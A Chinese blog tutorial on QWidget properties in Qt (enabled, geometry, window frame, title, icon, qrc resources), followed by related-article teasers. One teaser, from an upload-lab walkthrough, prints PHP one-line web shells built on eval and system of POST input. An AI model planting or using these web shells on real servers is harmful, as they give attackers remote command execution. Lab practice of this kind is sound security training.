【Qt】QWidget中的常见属性及其功能(一)

目录

一、 enabled

例子:

二、geometry

例子:

window fram

例子 :

四、windowTiltle

五、windowIcon

例子:

qrc机制

创建qrc文件

例子:


qt中的很多内置类都是继承自QWidget的,因此熟悉QWidget的常见属性及其功能是非常有用的。

一、 enabled

设置控件是否可以使用。true表示可以使用;false表示不可以使用。

例子:

有两个按钮,点击第一个按钮后窗口标题发生改变,点击第二个按钮会使第一个按钮在可使用和不可使用状态之间切换。

API

 isEnabled():获取控件是否可用,可用返回true,不可用返回false。

setEnabled(bool enable):设置控件的可用与不可用状态的。

注意:如果一个Widget(控件)被禁用那么这个控件中的子元素也会被禁用。

二、geometry

设置控件的位置和尺寸。

 x:横坐标。y:纵坐标。width:宽度。height:高度。

geometry():获取到控件的位置和尺寸,返回一个QRect类型的对象,QRect中包含:x、y、width、height。其中x,y是控件左上角相对于父控件的坐标。

setgeometry(QRect)setgeometry(int x,int y,int width,int height):设置控件的位置和尺寸,通过QRect设置,也可以分四个属性单独进行设置。

例子:

创建五个按钮,通过点击后四个按钮对第一个按钮进行上下左右平移。

注意:如果使用通过向setGeometry()传入QRect类来设置控件位置而不是通过分四个属性单独进行设置,那么如果改变QRect中的y则QRect中的heigt也会改变。比如QRect中的下x()+5那么QRect中的width()会-5,如果通过该方法改变控件位置必须对QRect中的height()或width()也要操作。如上图中注释的代码块。

window fram

如果Widget(控件)作为一个窗口(带有标题栏、最大化、最小化、关闭按钮),那么计算该Widget就有两种情况:不包含window frame、不包含window frame。

其中Geometry()和frameGeometry()都会一个QRect,表示控件的位置和尺寸。

Geometry()返回的QRect不包含window frame。

frameGeometry()返回的QRect包含window frame。

注意:调用窗口Widget的frameGeometry()或Geometry()返回的QRect中的x,y坐标值都是相对于电脑屏幕左上角的位置。如果在窗口中创建一个按钮,然后调用按钮的frameGeometry()或Geometry()返回的QRect类型对象都是一样的,因为按钮控件没有framewindow。

例子 :

先在窗口Widget构造函数中打印该窗口控件分别调用frameGeometry()和Geometry()返回的QRect对象,然后点击窗口控件中的一个按钮,在控制台终端打印该窗口控件分别调用frameGeometry()和Geometry()返回的QRect对象。

可以看到在构造函数中得到的窗口Widget的QRect是一样的,但是点击按钮后,在槽函数中打印出的QRect不一样。这是因为在构造函数中窗口Widget刚刚创建出来,还没有挂到对象树上,也就没有frame window,调用槽函数时窗口Widget已经挂在了对象树上因此就有了frame window。

四、windowTiltle

设置窗口标题。

windowTitle():获取窗口控件的标题。

setWindowTitle(const QString& title):修改窗口控件的标题。

注意:如果是窗口Widget调用才会有效果,其他子Widget(窗口中的其他控件)这个操作无任何效果。

五、windowIcon

设置窗口图标。

windowIcon():获取控件的窗口图标,返回QIcon类型对象。

setwindowIcon(const QIcon& icon):设置控件的窗口图标。

例子:

更改窗口Widget的图标为c盘中的一个笑脸图片,创建一个Icon类型的对象里面是图片的路径,然后调用setWindowIcon。

上面这种是采用绝对路径的方式定位图片资源的。

qrc机制

qrc解决了两个问题:

1.确保开发者的图片资源所在的路径在用户机器上存在。

2.确保图片资源不会被用户弄丢。

给qt项目引入一个qrc文件,该文件是一种XML格式的资源配置文件,该文件记录了qt程序中需要用到的资源及资源名称,在qt编译项目的时候就会根据qrc中所记录的资源,然后把需要用到的资源的二进制数据转换成C++代码,最终编译到exe可执行文件中,从而使依赖的资源变得与路径无关。

注意:路径名和文件名中避免有汉字或特殊符号。向qrc文件中导入资源文件时,必须确保要被导入得资源文件必须在qrc文件得同级目录,或者同级目录中得子目录里。

创建qrc文件

1.在一个已经创建好得qt项目中点击新建文件或项目,然后选择Qt Resource File

2.自定义qrc文件名

 3.添加qt寻找资源时的虚拟前缀(其实是一个虚拟目录)

该前缀可以自己定义,但一般都是一个正斜杠/

4.向qrc文件中导入资源文件

例子:

点击按钮一时窗口图标变为smallface,点击按钮二窗口图标变为listenmusic。

注意:qt项目中访问该项目中的qrc文件中的资源时写法必须按照以下格式:

1、使用 : 作为开头,表示从qrc中读取文件。

2、 : 后根qrc中的添加的前缀(Prefix),然后前缀后面就是要访问的qrc中的资源名。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/939614.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

R语言的字符串操作

【图书推荐】《R语言医学数据分析实践》-CSDN博客 《R语言医学数据分析实践 李丹 宋立桓 蔡伟祺 清华大学出版社9787302673484》【摘要 书评 试读】- 京东图书 (jd.com) R语言医学数据分析实践-R语言的数据结构-CSDN博客 在R语言中,字符串是一种表示文本数据的数…

webGL硬核知识:图形渲染管渲染流程,各个阶段对应的API调用方式

一、图形渲染管线基础流程概述 WebGL 的图形渲染管线大致可分为以下几个主要阶段,每个阶段都有其特定的任务,协同工作将 3D 场景中的物体最终转换为屏幕上呈现的 2D 图像: 顶点处理(Vertex Processing)阶段&#xff1…

《深入浅出Apache Spark》系列⑤:Spark SQL的表达式优化

导读:随着数据量的快速增长,传统的数据处理方法难以满足对计算速度、资源利用率以及查询响应时间的要求。为了应对这些挑战,Spark SQL 引入了多种优化技术,以提高查询效率,降低计算开销。本文从表达式层面探讨了 Spark…

创建项目以及本地仓库和远程仓库并上传项目

创建项目以及本地仓库和远程仓库并上传项目 其详细流程如下: 1、本地创建项目 2、创建本地仓库(若使用idea在创建项目时选择了创建.git本地仓库,则此步骤省略) 进入到你需要上传的项目的目录下,右键找到Git Bah He…

快速解决oracle 11g中exp无法导出空表的问题

在一些生产系统中,有些时候我们为了进行oracle数据库部分数据的备份和迁移,会使用exp进行数据的导出。但在实际导出的时候,我们发现导出的时候,发现很多空表未进行导出。今天我们给出一个快速解决该问题的办法。 一、问题复现 我…

MySQL八股-MVCC入门

文章目录 当前读(加锁)快照读(不加锁)MVCC隐藏字段undo-log版本链A. 第一步B.第二步C. 第三步 readview MVCC原理分析RCA. 先来看第一次快照读具体的读取过程:B. 再来看第二次快照读具体的读取过程: RR隔离级别 当前读…

【已解决】启动此实时调试器时未使用必需的安全权限。要调试该进程,必须以管理员身份运行此实时调试器。是否调试该进程?

【已解决】启动此实时调试器时未使用必需的安全权限。要调试该进程,必须以管理员身份运行此实时调试器。是否调试该进程? 目录一、前言二、具体原因三、解决方法 目录 报错截图 一、前言 进行应用程序开发时,需要对w3wp进行附加调试等场景&#xff…

基于Qt的登陆界面设计

目标 自由发挥登录界面的应用场景,实现一个登录窗口的界面。 要求:每行代码都要有注释 代码 // 设置窗口大小为600x400像素 this->resize(600,400); // 设置窗口标题为"TheWitcher 巫师3:狂猎" this->setWindowTitle(&qu…

Elasticsearch 8.x 集成与 Java API 使用指南

目录 背景 版本区别 安装elaticsearch8.x服务 启动es服务 安装es管理平台 项目集成 pom.xml文件引入依赖 application.yml配置 ES初始化配置类实现 ES8.x常用API实现 1.判断es索引是否存在 2.删除索引 3.创建索引 4.新增文档 5.更新文档 6.根据id查询文档 7.根…

EfficientNet模型Pytorch版本具体实现

EfficientNet模型原理:EfficientNet:对模型深度、宽度和分辨率的混合缩放策略-CSDN博客 一、激活函数: EfficientNet模型使用了Swish激活函数而不是更常见的Relu激活函数 1、公式定义 Swish(x) x * sigmoid(x)是一个平滑的非线性激活函数…

Git连接远程仓库(超详细)

目录 一、Gitee 远程仓库连接 1. HTTPS 方式 2. SSH公钥方式 (1)账户公钥 (2)仓库公钥 仓库的 SSH Key 和账户 SSH Key 的区别?​ 二、GitHub远程仓库连接 1. HTTPS方式 2.SSH公钥方式 本文将介绍如何通过 H…

AutoMQ 流表一体新特性 Table Topic 发布: 无缝集成 AWS S3 Table 和 Iceberg

超越共享存储:使用 Apache Iceberg 中的 AutoMQ Table Topic 实现流处理与分析的统一 自 2023 年底官宣以来,AutoMQ 成功地将 Apache Kafka 从“Shared Nothing architecture”转变为“Shared Storage architecture”,这为京东、知乎、小红书…

Upload-labs 靶场(通关攻略)

WebShell 一句话木马: <?php eval($_POST[a])?> <?php system($_POST[a])?> 第一关&#xff08;删除前端js校验&#xff09; 删除return checkFile() 就能上传成功 第二关(抓包文件类型校验) BP抓包修改后缀 改为2.php后放行 第三关(上传php同种类型的不…

Linux —— 管理进程

一、查看进程 运行态&#xff08;Running&#xff09; 定义&#xff1a;处于运行态的进程正在 CPU 上执行指令。在单 CPU 系统中&#xff0c;同一时刻只有一个进程处于运行态&#xff1b;在多 CPU 或多核系统中&#xff0c;可能有多个进程同时处于运行态。示例&#xff1a; 当…

Linux脚本语言学习--下

4.Bash的变量 4.1.用户自定义变量 4.1.1.什么是变量 变量是计算机内存的单元&#xff0c;其中存放的值可以改变。当Shell脚本需要保存一些信息的时候&#xff0c;如一个文件名或是一个数字&#xff0c;就把他存放在一个变量中。每个变量有一个名字&#xff0c;所以很容易引用…

武汉市电子信息与通信工程职称公示了

2024年武汉市电子信息与通信工程专业职称公示了&#xff0c;本次公示通过人员有109人。 基本这已经是今年武汉市工程相关职称最后公示了&#xff0c;等待出证即可。 为什么有人好奇&#xff0c;一样的资料&#xff0c;都是业绩、论文等&#xff0c;有的人可以过&#xff0c;有的…

ModelScope-Agent(3):docker启动

目录 前两篇并没有使用到docker,但我看项目中是有docker配置的&#xff0c;不过没有在教程中写出来。学习了ragflow的docker配置流程之后&#xff0c;试一下modelscope-agent的配置。 先创建model-scope的cuda环境 conda create --name modelscope-agent python3.10 conda acti…

如何高效获取Twitter数据:Apify平台上的推特数据采集解决方案

引言 在数据分析和市场研究领域&#xff0c;Twitter&#xff08;现在的X&#xff09;数据一直是重要的信息来源。但是&#xff0c;自从Twitter更改API定价策略后&#xff0c;获取数据的成本大幅提升。本文将介绍一个经济实惠的替代方案。 为什么需要Twitter数据&#xff1f; …

MySql 中的解决某列中多个字段查询是否存在指定某个值, FIND_IN_SET 用法。

简言&#xff1a;今天公司数据库里面有个列是多个数据拼接而成的比如&#xff1a;**“,131113,749932833,749932825,749932826,749932827,749932828,749932829,”**想要通过sql 查找749932833值的列&#xff0c;很多同学第一想到的就是like 模糊匹配&#xff0c;模糊匹配不能保…

go引用包生成不了vendor的问题

比如我要引入github.com/jinzhu/gorm这个包. 1. 首先获取包 go get github.com/jinzhu/gorm 这时go.mod文件中也有这个包依赖信息了. 2. 然后构建vendor go mod vendor 结果发现vendor目录下没有生成对应的包, 而且modules.txt也注释掉这个包了. 原因是没有其进行引用, go…